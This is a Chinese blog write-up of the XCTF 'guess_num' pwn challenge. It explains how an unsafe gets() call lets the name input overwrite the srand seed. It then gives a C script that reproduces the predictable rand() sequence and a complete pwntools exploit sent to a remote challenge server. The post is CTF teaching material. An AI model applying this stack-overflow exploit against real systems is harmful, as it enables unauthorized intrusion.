当前位置:首页 > CTF > 攻防世界 > 正文内容

XCTF_pwn新手区_guess-num

七星10个月前 (07-06)攻防世界495

下载题目,ida查看main函数伪代码:

image.png

这里可以看出,v8是个随机数.

image.png

而这个v6就是我们需要输入的猜测数

分析这个代码,逻辑是这样的:

先输入name,然后进入for循环,生成随机数,然后要求输入随机数,

然后需要猜对十次,才能跳出for循环,去执行sub_C3E函数.我们去看看sub_C3E函数:

image.png

这个函数直接获取flag

那么就需要考虑怎么直接去执行sub_C3E了

在进入for循环之前,程序执行了srand(seed[0]);

在srand之前,执行了危险函数gets()

所以我们可以用第一次输入的name通过gets覆盖掉种子数seed[0],使得随机数不随机


关于随机数:

随机函数生成的随机数并不是真的随机数,

他们只是在一定范围内随机,

实际上是一段数字的循环,这些数字取决于随机种子。

在调用rand()函数时,必须先利用srand()设好随机数种子,

如果未设随机数种子,rand()在调用时会自动设随机数种子为1。

这道题,种子数可以随便设.

接着我们看一下v9(也就是让输入的name,我们重命名为buf)距离seed[0]的位置:

图片1.png

buf的位置是0x30,seed的位置是0x10

0x30 - 0x10 = 0x20

所以偏移量为0x20,再用1覆盖掉seed

于是此处的payload为:

payload = 'A'*0x20 + p64(1)


接着,我们看一下,用1作为种子,看看生成的十个随机数:

#include <stdio.h>
#include <stdlib.h>
 
int main() {
    int random_num;
    srand(1);
    for (int i = 0; i <= 9; i++) {
        random_num = rand() % 6 + 1;
        printf("%d\n",random_num);
    }
}

image.png

也就是

2,5,4,2,6,2,5,1,4,2

然后做一个数组:

num = [2,5,4,2,6,2,5,1,4,2]

啊?你问我为什么是%6+1??

因为原题伪代码就这么给的啊,

这一步操作是在复现原题,看看原题可以生成啥样的随机数.

 

然后就写个for循环:

对应原程序的输入猜测的随机数

for guess_num in num:

    io.recvuntil('number:')

    io.sendline(str(guess_num))

然后完整的exp就有了:

from pwn import *

io = remote('220.249.52.133','38476')

payload = 'A'*0x20 + p64(1)
io.recvuntil('Your name:')
io.sendline(payload)

num = [2,5,4,2,6,2,5,1,4,2]
for guess_num in num:
    io.recvuntil('number:')
    io.sendline(str(guess_num))
    
io.interactive()

image.png


直接get flag

七星比特

相关文章

XCTF_crypto进阶区_OldDriver

XCTF_crypto进阶区_OldDriver

拿到题, 是个类似字典的东西:有c(密文), e,n(大数).好的,RSA, 大数分解获取d.他给我们的是字典, 我们不能辜负它, 于是写个脚本就行了:import libnum impo...

XCTF_reverse新手区_csaw2013reversing2

XCTF_reverse新手区_csaw2013reversing2

下载题目后, 是exe的, 直接运行, 乱码,和题目的提示一样:  拖到ida里面,main函数双击然后f5看见伪代码里面main函数调用了这个方法做了if判断: &nb...

XCTF_web新手区_simple-js

XCTF_web新手区_simple-js

得到题目,创建场景,是个弹窗,让输入密码.随便输点东西,测试一下,发现没什么用..根据题目,应该和js有关系,然后f12查看代码,发现了一个函数上面这个代码的函数部分写的很...函数的功能就是无论输入...

XCTF_crypto进阶区_cr3-what-is-this-encryption

XCTF_crypto进阶区_cr3-what-is-this-encryption

明显的RSA.把十六进制转二进制数字:已知p,q,e和密文c,求明文.参考第八题,RSA算法详解:https://qixingbit.com/xctf/%E5%AF%86%E7%A0%81%E5%AD...

XCTF_web新手区_weakauth

XCTF_web新手区_weakauth

这是一道爆破题,从题目名称就可以看出来.开启场景,是一个登录验证框写一个弱密码字典,用burpsuite爆破一下:抓一下包,并丢到intruder模块去然后发现变量默认是添加好了的,只需要添加字典然后...

XCTF_web进阶区_Training-WWW-Robots

XCTF_web进阶区_Training-WWW-Robots

开题,创建场景:其实根据题目名称,可以猜到是考robots的,但还是看一下他说了啥:直接访问/robots.txt然后出现了flag文件,访问获得flag:...

发表评论

访客

看不清,换一张

◎欢迎参与讨论,请在这里发表您的看法和观点。